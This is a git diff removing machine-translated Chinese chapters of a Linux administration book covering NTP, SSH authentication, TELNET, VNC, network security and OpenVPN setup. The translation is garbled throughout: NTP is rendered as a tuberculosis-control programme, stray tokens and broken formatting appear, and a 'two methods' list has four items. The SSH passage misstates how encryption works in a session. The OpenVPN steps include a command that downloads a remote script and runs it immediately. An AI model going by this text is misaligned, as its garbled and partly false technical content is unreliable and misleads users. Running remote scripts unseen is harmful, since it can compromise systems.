`ntpstat`可能不是我们系统上默认安装的。 在 Ubuntu 上,我们可以用以下命令安装它: - -```sh -sudo apt-get install ntpstat -``` - -在 CentOS 上,我们用以下命令安装`ntpstat`: - -```sh -sudo yum install ntpstat -``` - -`ntpstat`需要一个本地运行的 NTP 服务器。 使用实例查询 NTP 同步状态。 - -```sh -ntpstat -``` - -下面是输出: - -![Figure 7.27 – Querying NTP synchronization status with ntpstat](img/B13196_07_27.jpg) - -图 7.27 -使用 ntpstat 查询 NTP 同步状态 - -`ntpstat`提供国家结核控制规划服务器的 IP 地址系统同步(`74.6.168.72`),同步保证金(`17`毫秒),和 time-update 轮询间隔`1024`(s),找到更多关于国家结核控制规划服务器,我们可以`dig`其 IP 地址下面的代码: - -```sh -dig -x 74.6.168.72 -``` - -它看起来像是雅虎的时间服务器之一(`t1.time.gq1.yahoo.com`),如图所示: - -![Figure 7.28 – Querying NTP synchronization status with ntpstat](img/B13196_07_28.jpg) - -图 7.28 -使用 ntpstat 查询 NTP 同步状态 - -NTP 客户端-服务器通信使用 UDP 作为端口`123`上的传输协议。 [*第八章*](08.html#_idTextAnchor152),*配置 Linux 服务器*,有专门的一节用于安装和配置 NTP 服务器。 有关 NTP 的详细信息,请参考[https://en.wikipedia.org/wiki/Network_Time_Protocol](https://en.wikipedia.org/wiki/Network_Time_Protocol)。 - -我们在网络服务器和协议之间的简短旅程将在此结束。 每天的 Linux 管理任务通常需要对系统进行某种类型的远程访问。 有许多方法可以远程访问和管理计算机。 我们的下一节描述一些最常见的远程访问设施和相关的网络协议。 - -## 远程访问 - -大多数 Linux 网络服务提供一个相对有限的远程管理接口,与他们管理**命令行界面**(**CLI)公用事业公司主要经营本地的同一系统上运行服务。 因此,相关的管理任务承担本地终端访问。 通过控制台直接访问系统有时是不可能的。 此时,远程访问服务器开始发挥作用,启用与远程机器的虚拟终端登录会话。** - -接下来让我们看看一些最常见的远程访问服务和应用。 - -### SSH - -SSH 可能是用于远程访问的最流行的安全登录协议。 SSH 使用强加密,结合用户身份验证机制,在客户机和服务器机器之间实现安全通信。 SSH 服务器相对容易安装和配置,[*第八章*](08.html#_idTextAnchor152),*配置 Linux 服务器*有专门的章节描述了相关步骤。 - -SSH 的默认网口为`22`。 - -SSH 支持以下两种认证方式: - -* 公共密钥身份验证 -* 基于主机的认证 -* 密码身份验证 -* Keyboard-interactive 身份验证 - -下面几节简要描述了这些 SSH 身份验证表单。 - -#### 公共密钥身份验证 - -公钥(或 SSH-key)认证可以说是最常见的 SSH 认证类型。 - -重要提示 - -本节将交替使用术语*公钥*和*SSH-key*,主要是为了反映 Linux 社区中相关的 SSH 身份验证术语。 - -SSH-key 认证机制使用*证书/密钥*对-*公钥*密钥(*证书*)和*私钥*密钥。 SSH 证书/密钥对通常用`ssh-keygen`创建的工具,使用标准加密算法如**Rivest-Shamir-Adleman 算法(RSA【病人】)或数字签名算法**(【t16.1】DSA)。**** - - ****SSH 公钥认证支持*基于用户的认证*和*基于主机的认证*两种模式。 这两个模型所涉及的证书/密钥对的所有权不同。 通过客户端身份验证,每个用户都有自己的证书/密钥对用于 SSH 访问。 另一方面,主机身份验证涉及每个系统(主机)的单个证书/密钥对。 - -这两种 SSH-key 身份验证模型将在下面几节中进行说明和解释。 这两个模型的基本 SSH 握手和身份验证工作流是相同的。 首先,SSH 客户端生成一个安全的证书/密钥对,并与 SSH 服务器共享其公钥。 这是用于启用公钥身份验证的一次性操作。 - -当客户机发起 SSH 握手时,服务器请求客户机的公钥,并根据其允许的公钥验证它。 如果匹配,则 SSH 握手成功,服务器将其公钥共享给客户端,SSH 会话建立。 - -进一步的客户机-服务器通信遵循标准的加密/解密工作流。 客户机用它的私钥加密数据,而服务器用客户机的公钥解密数据。 当响应客户机时,服务器用自己的私钥加密数据,客户机用服务器的公钥解密数据。 - -SSH 公钥身份验证也称为*无密码身份验证*,它经常用于自动化脚本中,其中在多个远程 SSH 连接上执行命令时不提示输入密码。 - -接下来让我们进一步了解基于用户和基于主机的公钥身份验证机制。 - -#### 基于用户的密钥身份验证 - -基于用户的认证是最常见的 SSH 公钥认证机制。 根据该模型,每个连接到远程 SSH 服务器的用户都有自己的 SSH 密钥。 同一主机(或域)上的多个用户帐户将有不同的 SSH 密钥,每个密钥都有自己对远程 SSH 服务器的访问,如下图所示: - -![Figure 7.29 – User-based key authentication](img/B13196_07_29.jpg) - -图 7.29 -基于用户的密钥认证 - -基于用户的 SSH 密钥身份验证的一种类似方法是基于主机的身份验证机制,下面将介绍。 - -#### 基于主机密钥身份验证 - -基于主机的身份验证是 SSH 公钥身份验证的另一种形式,涉及到连接到远程 SSH 服务器的每个系统(主机)的单个 SSH 密钥,如下图所示: - -![Figure 7.30 – Host-based key authentication](img/B13196_07_30.jpg) - -图 7.30 -基于主机的密钥认证 - -使用基于主机的身份验证,底层 SSH 密钥只能验证来自单个客户机主机的 SSH 会话。 基于主机的身份验证允许多个用户从同一主机连接到远程 SSH 服务器。 如果用户试图从不同的机器使用基于主机的 SSH 密钥,而不是 SSH 服务器所允许的机器,那么访问将被拒绝。 - -有时,混合使用两种公钥身份验证——基于用户和基于主机的身份验证——这种方法为 SSH 访问提供了更高的安全级别。 - -当安全性不是很重要时,更简单的 SSH 身份验证机制可能更合适。 密码身份验证就是这样一种机制。 - -#### 密码身份验证 - -*密码验证*需要来自 SSH 客户端的一组简单凭据,作为用户名和密码。 SSH 服务器根据本地用户帐户(在`/etc/passwd`中)或选择在 SSH 服务器配置`(/etc/ssh/sshd_config`中定义的用户帐户验证用户凭据。 在[*第 8 章*](08.html#_idTextAnchor152),*配置 Linux 服务器*中介绍了 SSH 服务器的配置,进一步阐述了这个主题。 - -除了本地身份验证,SSH 还可以利用 Kerberos、LDAP、RADIUS 等远程身份验证方法。 在这种情况下,SSH 服务器将用户身份验证委托给远程身份验证服务器,如本章前面的*身份验证服务器*部分所述。 - -密码身份验证需要用户交互或某种自动方式来提供所需的凭据。 另一种类似的身份验证机制是键盘交互身份验证,将在下文中介绍。 - -#### Keyboard-interactive 身份验证 - -*键盘交互认证*是基于 SSH 客户端(用户)和 SSH 服务器之间的多个挑战-响应序列的对话。 对话框是问题和答案的纯文本交换,其中服务器可以提示用户提出任意数量的挑战。 在某些方面,密码认证是一种单挑战交互式认证机制。 - -这种身份验证方法的*交互性*的内涵可以让我们认为用户交互对于相关实现来说是强制性的。 不是真的。 事实上,键盘交互身份验证还可以用于基于自定义协议的身份验证机制的实现,其中底层消息交换将被建模为身份验证协议。 - -在讨论其他远程访问协议之前,我们应该再次指出 SSH 由于其安全性、通用性和性能而得到了广泛的应用。 但是 SSH 连接在特定场景中可能并不总是可行或足够。 在这种情况下,*TELNET*可能会起到挽救作用。 下面我们来看一看。 - -### 远程登录 - -**TELNET**是应用层协议,用于与远端主机使用明文 CLI 进行双向网络通信。 从历史上看,TELNET 是最早的远程连接协议之一,但它总是缺乏安全实现。 SSH 最终成为从一台计算机登录到另一台计算机的标准方式,但在排除各种应用层协议(如 web 或电子邮件服务器通信)的故障时,TELNET 比 SSH 有自己的优势。 - -让我们看一个示例来了解 TELNET 是如何工作的。 我们将使用 TELNET 模拟一个简单的 HTTP 请求/响应连接到 Apache web 服务器。 TELNET 的一般语法如下所示: - -```sh -telnet HOST PORT -``` - -在我们的例子中,Apache 运行在主机`jupiter.local`和端口`80`上,如下所示: - -```sh -telnet jupiter.local 80 -``` - -我们得到以下响应: - -![Figure 7.31 – Connecting with TELNET to a remote web server](img/B13196_07_31.jpg) - -图 7.31 -通过 TELNET 连接到远程 web 服务器 - -接下来,通过输入以下命令,我们启动一个遵循`HTTP/1.1`协议的 web 通信: - -```sh -GET / HTTP/1.1 -``` - -`HTTP/1.1`协议需要一个强制性的`Host`HTTP 报头,所以我们继续下面的代码: - -```sh -Host: localhost -``` - -在前面的每一行之后,我们按下*Enter*(新行),在`Host`标题之后按下*Enter*两次。 Apache web 服务器的响应如下: - -![Figure 7.32 – HTTP request/response with TELNET](img/B13196_07_32.jpg) - -图 7.32 -使用 TELNET 的 HTTP 请求/响应 - -为了简洁起见,我们截断了响应。 我们刚刚运行的 TELNET 会话显示了一个 web 客户端(我们的本地终端窗口)和一个远程 Apache web 服务器(`jupiter.local`)之间的交互式循序渐进的 HTTP 通信。 - -TELNET 和 SSH 是命令行驱动的远程接入接口。 有些情况下需要通过**图形用户界面**(**GUI**)与远程机器进行直接桌面连接。 下面我们来看看桌面共享。 - -### VNC - -**Virtual Network Computing**(**VNC**)是一个桌面共享平台,允许用户访问并控制远程计算机的 GUI。 VNC 是一个跨平台的客户机-服务器应用。 例如,在 Linux 机器上运行的 VNC 服务器允许桌面访问运行在 Windows 或 macOS 系统上的多个 VNC 客户机。 VNC 网络通信使用**远程 Framebuffer**(**RFB**)协议,由*RFC 6143*定义。 - -设置 VNC 服务器相对简单。 VNC 假设存在一个图形桌面系统。 你可以参考*安装 Linux 图形用户界面*在[*第一章*](01.html#_idTextAnchor014),*安装 Linux,设立一个 GNOME 或者【显示】K 桌面环境(**KDE)在 Linux 桌面【病人】。 让我们以带有 GNOME 桌面的 RHEL/CentOS 8 系统为例,配置 VNC。 我们首先安装 VNC 服务器,如下所示:*** - -```sh -sudo dnf install tigervnc-server tigervnc-server-module -y -``` - -接下来,我们为当前用户创建一个 VNC 密码,像这样: - -```sh -vncpasswd -``` - -`vncpasswd`实用程序提示输入密码,并询问是否希望在`view-only`模式下使用 VNC。 我们选择完全控制访问。 下面是`vncpasswd`命令的输出: - -![Figure 7.33 – Setting up the VNC password](img/B13196_07_33.jpg) - -图 7.33 -设置 VNC 密码 - -在接下来的步骤中,我们通过运行以下代码指定 GNOME 作为我们选择的 VNC 桌面: - -```sh -printf 'gnome-session &\ngnome-terminal &' > ~/.vnc/xstartup -``` - -`~/.vnc/xstartup`文件保存了当前的 VNC 配置。 或者,我们可以通过 VNC,在客户端和服务器之间启用*剪贴板共享*,并在`~/.vnc/xstartup`文件中添加以下一行: - -```sh -vncconfig -iconic & -``` - -以下是`~/.vnc/xstartup`文件的最终内容: - -```sh -gnome-session & -gnome-terminal & -vncconfig -iconic & -``` - -现在我们已经准备好启动 VNC 服务器,所以我们运行以下命令: - -```sh -vncserver -geometry 1920x1080 -``` - -在`vncserver`命令中,我们为 VNC 会话指定了一个屏幕分辨率(`1920x1080`)。 该命令输出如下: - -![Figure 7.34 – Starting the VNC server](img/B13196_07_34.jpg) - -图 7.34 -启动 VNC 服务器 - -在`vncserver`命令的输出中,我们应该注意到 VNC 桌面 ID(`jupiter:1`)。 这个 ID 将用作 VNC 客户机主机名。 VNC 服务器的默认网络端口范围以`5901`开始。 多个 VNC 客户端连接增量端口。 - -使用 VNC 客户端应用,如*VNC Viewer*(通过*RealVNC*)在 Mac OS x 上,我们现在可以远程访问我们的 CentOS 8 Linux 机器,如下截图所示: - -![Figure 7.35 – Using a VNC client](img/B13196_07_35.jpg) - -图 7.35 -使用 VNC 客户端 - -为了简单和空间考虑,我们描述了一种运行 VNC 的相对原始和直接的方法。 显然,我们可以更有创造性地控制 VNC 进程的生命周期。 本章的补充源代码展示了这样一个脚本。 - -这篇总结了我们关于网络服务和协议的部分。 我们试图涵盖关于通用网络服务器和应用的最常见概念,它们主要以客户机-服务器或分布式方式进行操作。 对于每个网络服务器,我们描述了相关的网络协议和涉及的一些内部方面。 [*第八章*](08.html#_idTextAnchor152),*配置 Linux 服务器*、【显示】和[第 9 章](09.html#_idTextAnchor157)*,保护 Linux【病人】,将展示实际的实现其中的一些网络服务器。* - -在下一节中,我们的重点转向网络安全的内部机制。 - -# 了解网络安全 - -*网络安全*表示防止、监视和保护未经授权的访问计算机网络的过程、操作和策略。 网络安全范例跨越了大量的技术、工具和实践。 以下是一些重要的建议: - -* **访问控制**-基于用户认证和授权机制选择性地限制访问。 访问控制的示例包括用户、组和权限。 一些相关的概念已经在[*第四章*](04.html#_idTextAnchor073)、*用户和组管理*中介绍过。 -* **应用安全**-保护并保护服务器和终端用户应用(电子邮件、web 和移动应用)。 应用安全的例子包括**安全增强 Linux**(**SELinux**)、强加密连接、反病毒和反恶意软件程序。 我们将在[*第 9 章*](09.html#_idTextAnchor157),*Securing Linux*中介绍**SELinux**。 -* **端点安全**-保护并保护网络上的服务器和终端用户设备(智能手机、笔记本电脑和台式机)。 端点安全的例子包括*防火墙*和各种入侵检测机制。 我们将在[*第 9 章*](09.html#_idTextAnchor157),*保护 Linux*中查看*防火墙*。 -* **网络分割**-将计算机网络划分为更小的网段或**虚拟局域网**(**vlan**)。 这是,不要与子网混淆,子网是通过寻址对网络进行逻辑划分。 -* **vpn**-通过安全加密隧道从公网或 internet 接入企业网络。 我们将在[*第 9 章*](09.html#_idTextAnchor157),*保护 Linux*中讨论 vpn。 - -在日常的 Linux 管理中,设置网络安全边界应该始终遵循前面列举的范例,大致按照列出的顺序。 从访问控制机制开始,到 vpn 结束,保护网络采用从内到外的*方法,从本地系统和网络到防火墙、vlan 和 vpn。 下一节将探讨 vpn。* - - *## VPNs - -VPN 是一种网络技术,通过在公共互联网连接上创建一个私有网络,为用户提供在线安全性、私密性和匿名性。 vpn 一般用于以下场景: - -* 在设备与私有网络或公司网络之间建立安全加密的连接 -* 允许访问受地区限制的网站(防止地理封锁) -* 保护互联网活动不被窥探 - -vpn 本质上是在网络(通常是互联网)中创建一个数据隧道,远程安全地访问网络资源,绕过互联网审查,掩码 IP 地址,等等。 - -让我们来看看 vpn 是如何工作的。 - -## 与 vpn 协作 - -VPN 基于客户端-服务器架构,通过 VPN 服务器路由客户端设备的网络通信。 VPN 服务器提供与客户端设备的加密通信隧道,充当客户端与 internet 或私有(或公司)网络之间的中介。 VPN 实现通常使用 OSI 第 2 层和第 3 层网络扩展与 SSL/TLS 协议。 - -商用或企业级 VPN 解决方案通常提供一个专用的 VPN 客户端应用,用户可以将其安装在自己的电脑和移动设备上。 VPN 客户端被配置为使用特定的 VPN 端点配置的应用。著名的商业 VPN 产品包括*ExpressVPN*、*NordVPN*,*Surfshark*,*诺顿安全 VPN*和【显示】IPVanish。 - -大多数操作系统都集成了对通用 VPN 的客户端支持。 在下面的章节中,我们将描述使用开放 VPN(一种开源 VPN 解决方案)的 VPN 环境的配置。 - -## 搭建 OpenVPN - -在这一节中,我们将引导你在 Ubuntu Server 20.04**Long-Term Support**(**LTS**)上设置 OpenVPN 的过程。 我们将为 VPN 端点使用一个**虚拟专用服务器**(**VPS**),它具有公共网络接口。 主要原因 VPS 环境驻留在【病人】公共云(如**亚马逊网络服务(AWS【t16.1】**)/**弹性计算云(EC2****),DigitalOcean, Linode,等等)的商品是通过互联网直接访问公共 IP 地址。 另外,我们可以使用任意主机在一个私有网络,**与所需的网络地址转换**(**NAT)防火墙或路由器配置设置,让它从公共网络访问。******** - - ****建立 VPN 的一种快速方法是使用一个开源实用程序来辅助 OpenVPN 配置,可以在[https://git.io/vpn](https://git.io/vpn)中找到。 下面的步骤将帮助您在几分钟内建立一个 VPN。 以下是我们将遵循的步骤: - -* 标识用于 VPN 连接的网络接口 -* 下载并运行 VPN 安装脚本 -* 使用 Linux 客户端连接 VPN - -让我们从第一步开始。 - -### 标识 VPN 网络接口 - -作为 VPN 服务器的典型的主机具有以下网络配置之一: - -* 在 NAT/路由器/防火墙后面的私有静态 IP 地址,带有一个公网 IP 地址。 例如,AWS/EC2 实例或通用路由器背后的家庭网络计算机。 -* 一个公网静态 IP 地址,可从 internet 路由。 这样的例子包括 DigitalOcean、Linode 和其他公司的 VPS 实例。 - -在我们的示例中,我们使用 DigitalOcean VPS 实例。 让我们看看系统上可用的网络接口,如下所示: - -```sh -ip addr -``` - -这是前一个命令的输出: - -![Figure 7.36 – Identifying network interfaces](img/B13196_07_36.jpg) - -图 7.36 -识别网络接口 - -在我们的案例中,`eth0`接口有一个面向公共的 IP 地址`138.68.19.158`和一个对应的本地(内部)IP 地址`10.46.0.5`。 这些网络地址与我们使用 VPN 安装程序脚本配置 VPN 的下一步相关。 - -### 配置 VPN - -我们从开始,通过运行以下命令来确保系统是最新的: - -```sh -sudo apt-get update -sudo apt-get upgrade -``` - -接下来,我们下载并使用以下命令运行 VPN 安装脚本: - -```sh -wget https://git.io/vpn -O vpnsetup && bash vpnsetup -``` - -我们为安装程序脚本选择了`vpnsetup`这个任意名称。 该脚本提供了一步一步的指导帮助,如下面的截图所示: - -![Figure 7.37 – Running the VPN installer](img/B13196_07_37.jpg) - -图 7.37 -运行 VPN 安装程序 - -我们突出了的相关选择,如下: - -* `138.68.19.158`-我们专门为 VPN 连接提供的网络接口的 IP 地址 -* `UDP`-推荐的 OpenVPN 协议 -* `1194`- VPN 连接端口 -* `Current system resolvers`—主机上的默认 DNS 子系统 -* `client`- VPN 客户端实例的名称 - -成功运行 VPN 安装程序后,我们可以使用以下命令验证 OpenVPN 服务器的运行状态: - -```sh -sudo systemctl status openvpn-server@server.service -``` - -我们应该得到以下`active(running)`状态: - -![Figure 7.38 – Querying the OpenVPN server status](img/B13196_07_38.jpg) - -图 7.38 -查询 OpenVPN 服务器状态 - -脚本还生成一个默认的 OpenVPN 客户端配置文件,该文件根据在 VPN 安装脚本的最后一步(即`client`)中选择的 VPN 客户端名称命名。 在本例中,文件为`~/client.ovpn`,如下所示: - -```sh -cat ~/client.ovpn -``` - -下面是其中的一段: - -![Figure 7.39 – The OpenVPN client profile (.ovpn file)](img/B13196_07_39.jpg) - -图 7.39 - OpenVPN 客户端配置文件(。 ovpn 文件) - -OpenVPN 客户端配置文件与特定的 VPN 客户端共享,下面我们将看到。 通过多次运行 VPN 安装程序脚本,我们可以生成多个这样不同的客户端概要文件。 因为我们下载了 VPN 安装程序脚本,所以我们也可以在本地调用它。 我们需要使脚本可执行,首先通过运行以下命令: - -```sh -chmod a+x ./vpnsetup -./vpnsetup -``` - -后续的脚本运行为我们提供了以下选项: - -![Figure 7.40 – A subsequent invocation of the VPN installer](img/B13196_07_40.jpg) - -图 7.40 - VPN 安装程序的后续调用 - -选择选项`1)`将生成一个新的客户端配置文件。 根据他们的描述,其他选择也很明显。 客户端配置文件仅与使用我们 VPN 的 OpenVPN 客户端共享。 - -接下来,让我们看看如何使用 OpenVPN 服务器配置 VPN 客户端。 所有主要的操作系统平台都支持 OpenVPN 客户端。 在下面的示例中,我们将展示运行在 Linux 和 Android 平台上的 OpenVPN 客户端。 - -### 配置 Linux OpenVPN 客户端 - -本节中的说明将帮助您在 Ubuntu 和 CentOS 平台上配置 OpenVPN 客户端连接。 使用您选择的客户端平台,首先安装`openvpn`客户端包,如下所示: - -* 在 Ubuntu 上执行以下命令: - - ```sh - sudo apt-get install -y openvpn - ``` - -* 在 CentOS 操作系统上执行以下命令: - - ```sh - sudo yum install -y openvpn - ``` - -接下来,我们将 OpenVPN 客户端配置文件(在*配置 VPN*部分中生成)复制到`/etc/openvpn/client/client.conf`。 我们假设`client.ovpn`概要文件已经复制到客户端机器(例如`/home/packt/client.ovpn`),并运行以下代码: - -```sh -sudo cp /home/packt/client.ovpn /etc/openvpn/client/client.conf -``` - -此时,我们可以通过运行以下代码立即测试 VPN 客户端连通性: - -```sh -sudo openvpn --client --config /etc/openvpn/client/client.conf -``` - -下面是一个成功的 VPN 连接输出的摘录: - -![Figure 7.41 – Testing the OpenVPN client connectivity](img/B13196_07_41.jpg) - -图 7.41 -测试 OpenVPN 客户端连通性 - -您可以从前面的进程中通过*Ctrl*+*C*退出。 为了在系统上启用 OpenVPN 客户端,我们启动相关的守护进程,如下所示: - -```sh -sudo systemctl start openvpn-client@client -``` - -`openvpn-client`守护进程的`@client`调用表示相关的 OpenVPN 客户端配置文件(在`/etc/openvpn/client/client.conf`中)。 如果配置文件的名称不一致,则需要对前面的命令进行相应的调整。 - -OpenVPN 客户端的状态应该显示为`active`,如下截图所示: - -![Figure 7.42 – Querying the OpenVPN client status](img/B13196_07_42.jpg) - -图 7.42 -查询 OpenVPN 客户端状态 - -成功建立 VPN 客户端连接后,您的客户端机器的公共 IP 地址应该匹配 VPN 服务器的公共 IP(`138.68.19.158`)。 你可以通过运行以下命令来检查: - -```sh -dig TXT +short o-o.myaddr.l.google.com @ns1.google.com -``` - -这是前一个命令的输出: - -![Figure 7.43 – Retrieving the public IP address of the client machine](img/B13196_07_43.jpg) - -图 7.43 -检索客户端机器的公共 IP 地址 - -要停止 VPN 客户端连接,我们运行以下命令: - -```sh -sudo systemctl stop openvpn-client@client -``` - -我们还可以在各种其他操作系统平台上配置 OpenVPN 客户端。 接下来让我们看看移动平台。 - -### 配置 Android OpenVPN 客户端 - -首先,从 Android 应用商店安装*OpenVPN Connect*应用。 接下来,打开应用并导入 OpenVPN 客户端配置文件。 我们在前面生成了客户端概要文件,如*配置 VPN*部分所述。 你有两种选择导入配置文件,或者通过指定**统一资源定位符(URL【显示】)文件(如谷歌驱动器直接联系,OneDrive 或 Dropbox)或者只是指向下载的文件,如果移动平台支持访问下载。** - - **这个过程如下图所示: - -![Figure 7.44 – Using the Android OpenVPN client app](img/B13196_07_44.jpg) - -图 7.44 -使用 Android OpenVPN 客户端应用 - -导入 OpenVPN 客户端配置文件后,即可接入 VPN。 下面的插图说明了前面描述的步骤。 当连接到 VPN 时,我们的移动设备的公网 IP 地址成为`138.68.19.158`—VPN 服务器的 IP 地址。 - -有关 OpenVPN 项目的更多信息和相关产品下载,请访问[https://openvpn.net/download-open-vpn/](https://openvpn.net/download-open-vpn/)。 - -# 总结 - -本章对基本的 Linux 网络原理进行了相对浓缩的介绍。 我们学习了网络通信层和协议、IP 地址方案、TCP/IP 配置、知名网络应用服务器和 VPN。 对网络范例的良好掌握将使 Linux 管理员更全面地了解分布式系统以及所涉及的应用端点之间的底层通信。 - -本章涉及的一些理论方面在[*第八章*](08.html#_idTextAnchor152),*配置 Linux 服务器*中进行了实际的阐述,重点关注网络服务器的现实实现。 [*第 9 章*](09.html#_idTextAnchor157),*保护 Linux*,将进一步探讨网络安全内部和实用的 Linux 防火墙。 到目前为止,我们所学的一切都将为接下来的章节奠定良好的基础。 - -# 问题 - -这里有一个快速测试来概括和证明本章中涉及的一些基本概念: - -1. 如何 OSI 模型比较 TCP/IP 模型? -2. 考虑两个 TCP/IP 协议,并尝试查看它们在您熟悉的一些网络管理任务或应用中的位置和如何操作。 -3. HTTP 协议在哪个网络层运行? DNS 怎么样? -4. IP 地址`192.168.0.1`的网络类是什么? -5. 网络掩码`255.255.0.0`对应的网络前缀是什么? -6. 如何使用`nmcli`实用程序配置静态 IP 地址? -7. 如何更改 Linux 机器的主机名? -8. POP3 和 IMAP 电子邮件协议有什么区别? -9. 基于主机的 SSH 认证和基于用户的 SSH 密钥认证有什么区别? -10. SSH 和 TELNET 有什么区别?**************************************** \ No newline at end of file diff --git a/docs/master-linux-admin/08.md b/docs/master-linux-admin/08.md deleted file mode 100644 index 80fbe02f..00000000 --- a/docs/master-linux-admin/08.md +++ /dev/null @@ -1,37 +0,0 @@ -# 八、配置 Linux 服务器 - -在这一章中,您将学习如何配置不同类型的 Linux 服务器,从**域名系统(DNS****)和**域名主机配置协议**(****DHCP)服务器到 web 服务器,Samba 文件服务器,【显示】**文件传输协议(FTP**)服务器, **网络文件系统**(**NFS**)服务器。 所有这些服务器都在以这样或那样的方式为**万维网**(**WWW**)的主干提供动力。 您的计算机显示准确时间的原因是由于一个实现良好的**网络时间协议**(**NTP**)服务器。 由于有良好的 DHCP、web 和文件服务器,您可以在网上购物并在您的朋友和同事之间传输文件。 配置支持所有这些服务器的不同类型的 Linux 服务代表了任何 Linux 系统管理员的知识库。** - -在本章中,我们将涵盖以下主要主题: - -* Linux 服务简介 -* 搭建 DNS 服务器 -* 搭建 DHCP 服务器 -* 搭建 NTP 服务器 -* 设置 NFS 服务器 -* 设置 Samba 文件服务器 -* 设置 FTP 服务器 -* 设置一个 web 服务器 -* 设置打印服务器 - -# 技术要求 - -需要具备网络和 Linux 命令的基础知识。 不需要特殊的技术要求—只需要在您的系统上安装一个可以工作的 Linux。 我们将使用 Ubuntu 20.04.1**Long-Term Support**(**LTS**)作为本章练习和示例的选择。 然而,任何其他主要的 Linux 发行版——比如 CentOS、openSUSE 或 fedora——都同样适合本章中详细介绍的任务。 - -# GitHub - -你可以在该书的补充源代码库[https://github.com/PacktPublishing/Mastering-Linux-Administration/blob/main/08/B13196-08.pdf](https://github.com/PacktPublishing/Mastering-Linux-Administration/blob/main/08/B13196-08.pdf)中阅读关于 GitHub 的完整章节。 - -# 问题 - -现在,您已经清楚地了解了如何管理 Linux 中使用最广泛的一些服务,下面是一些练习,将进一步帮助您学习: - -1. 尝试使用 VPS 来处理本章中详细介绍的所有服务,而不是在你的本地网络上。 -2. 尝试在 Ubuntu 上设置一个 LEMP 堆栈。 -3. 使用 CentOS 8 发行版练习本章描述的所有服务。 - -# 进一步阅读 - -有关本章所涵盖的主题的更多信息,你可以查看以下链接: - -* Ubuntu 20.04 官方文档:[https://ubuntu.com/server/docs](https://ubuntu.com/server/docs) \ No newline at end of file diff --git a/docs/master-linux-admin/09.md b/docs/master-linux-admin/09.md deleted file mode 100644 index 21eaaaf7..00000000 --- a/docs/master-linux-admin/09.md +++ /dev/null @@ -1,1968 +0,0 @@ -# 九、Linux 安全 - -保护 Linux 机器通常是一项平衡的工作。 最终的目的是保护数据不受不必要的访问。 虽然有许多方法可以实现这一目标,但我们应该采用能够产生最大保护的方法,以及最有效的系统管理。 测量攻击和漏洞表面(包括内部和外部)总是一个好的开始。 剩下的工作是建造栅栏和穿上盔甲——不要太高也不要太重。 外部的栅栏是网络防火墙。 在内部,在系统级别,我们构建应用安全策略。 这一章将介绍这两种方法,尽管平衡的艺术留给你了。 - -在本章的第一部分,我们将了解访问控制机制和相关的安全模块——SELinux 和 AppArmor。 在第二部分中,我们将探索包过滤框架和防火墙解决方案。 - -完成本章后,您将熟悉用于设计和管理应用安全框架和防火墙的工具——这是确保 Linux 系统安全的坚实的第一步。 - -以下是本章将涉及的主题的简要概述: - -* 理解 Linux 安全——概述 Linux 内核中可用的访问控制机制 -* 介绍 SELinux——深入了解用于管理访问控制策略的 Linux 内核安全框架 -* 引入 AppArmor——一个相对较新的安全模块,它基于安全配置文件控制应用功能 -* 使用防火墙-全面概述防火墙模块,包括`netfilter`、`iptables`、`nftables`、`firewalld`和`ufw` - -# 技术要求 - -本章涵盖了相当多的主题,其中一些主题将通过大量的命令行操作进行介绍。 我们建议您同时使用 CentOS 和 Ubuntu 平台,并使用终端或 SSH 访问。 直接通过控制台访问系统是非常可取的,因为修改防火墙规则的方式可能具有破坏性。 - -# 了解 Linux 安全 - -保护计算机系统或网络安全的一个重要考虑因素是系统管理员控制用户和进程如何跨系统访问各种资源(如文件、设备和接口)的方法。 Linux 内核提供了一些这样的机制,统称为**访问控制机制**(**ACMs**)。 下面我们将简要描述它们。 - -### 自由访问控制 - -**Discretionary Access Control**(**DAC**)是与文件系统对象(包括文件、目录和设备)相关的典型 ACM。 在管理权限时,这种访问权由对象的所有者决定。 DAC 基于用户和组(*主题*)的身份控制对*对象*的访问。 根据主题的访问权限,它们还可以将权限传递给其他主题——例如,管理普通用户的管理员。 - -### 访问控制列表 - -**访问控制列表**(**acl**)提供控制哪些主体(如用户和组)可以访问特定的文件系统对象(如文件和目录)。 - -### 强制访问控制 - -**强制访问控制**(**MAC**)对主体所拥有的对象提供不同的访问控制级别。 与 DAC 不同,在 DAC 中,用户可以完全控制他们所拥有的文件系统对象,MAC 为所有文件系统对象添加了额外的标签或类别。 因此,受试者必须有适当的访问这些类别与被标记为这些类别的对象交互。 在 RHEL/CentOS 上的**Security-Enhanced Linux**(**SELinux**)和 Ubuntu/Debian 上的 AppArmor 强化了 MAC 的。 - -### 基于角色的访问控制 - -**基于角色的访问控制**(**RBAC**)是文件系统对象的基于权限的访问控制的替代方案。 系统管理员分配*角色*,这些角色对特定的文件系统对象具有访问权限,而不是权限。 角色可以基于某些业务或功能标准,并且可能具有对对象的不同访问级别。 - -DAC 或 MAC 中,主体可以严格根据所涉及的权限访问对象,与之相反,RBAC 模型代表了 MAC 或 DAC 上的逻辑抽象,因为主体在与对象交互之前必须是特定组或角色的成员。 - -### 多层次的安全 - -**多层次安全**(**美国职业足球大联盟)是一个具体 MAC 方案*主题的过程和*【显示】对象文件、套接字和其他类似的系统资源。** - - **### 多媒体安全 - -**多类别安全**(**MCS**)是 SELinux 的改进版本,允许用户给文件贴上*类别*的标签。 MCS 在 SELinux*中重用了许多 MLS 框架。* - - *结束我们的简短演讲 ACMs 系统,我们应该注意我们的一些内部覆盖 DAC 和 ACL[*第四章*](04.html#_idTextAnchor073),*管理用户和组*,在*部分管理权限。 接下来,我们将把注意力转向 SELinux——用于 MAC 实现的一等公民。* - - *# SELinux 简介 - -**security - enhanced Linux**(**SELinux**)是 Linux 内核中用于管理系统资源访问控制策略的安全框架。 它支持前一节中描述的 MAC、RBAC 和 MLS 模型的组合。 SELinux 是一组内核空间安全模块和用户空间命令行实用程序,它为系统管理员提供了一种机制来控制谁可以访问系统上的*哪些*。 SELinux 还被设计用于保护系统不受可能的错误配置和潜在的破坏进程的影响。 - -SELinux 的**介绍了国家安全局**(**国家安全局)的**Linux 安全模块**(【显示】**lsm)内核更新。 SELinux 最终于 2000 年发布给开源社区,并从 2003 年的 2.6 内核系列开始进入 Linux。**** - -那么,SELinux 是如何工作的呢? 我们接下来再看这个。 - -## 使用 SELinux - -SELinux 使用*安全策略*为系统上的应用、进程和文件定义各种访问控制级别。 安全策略是一组规则,描述什么可以访问,什么不能访问。 - -SELinux 对*受试者*和*受试者*进行操作。 当特定的应用或进程(*主题*)请求访问一个文件(*对象*)时,SELinux 检查请求中涉及的所需权限,并强制执行相关的访问控制。 主题和对象的权限存储在一个名为**Access Vector 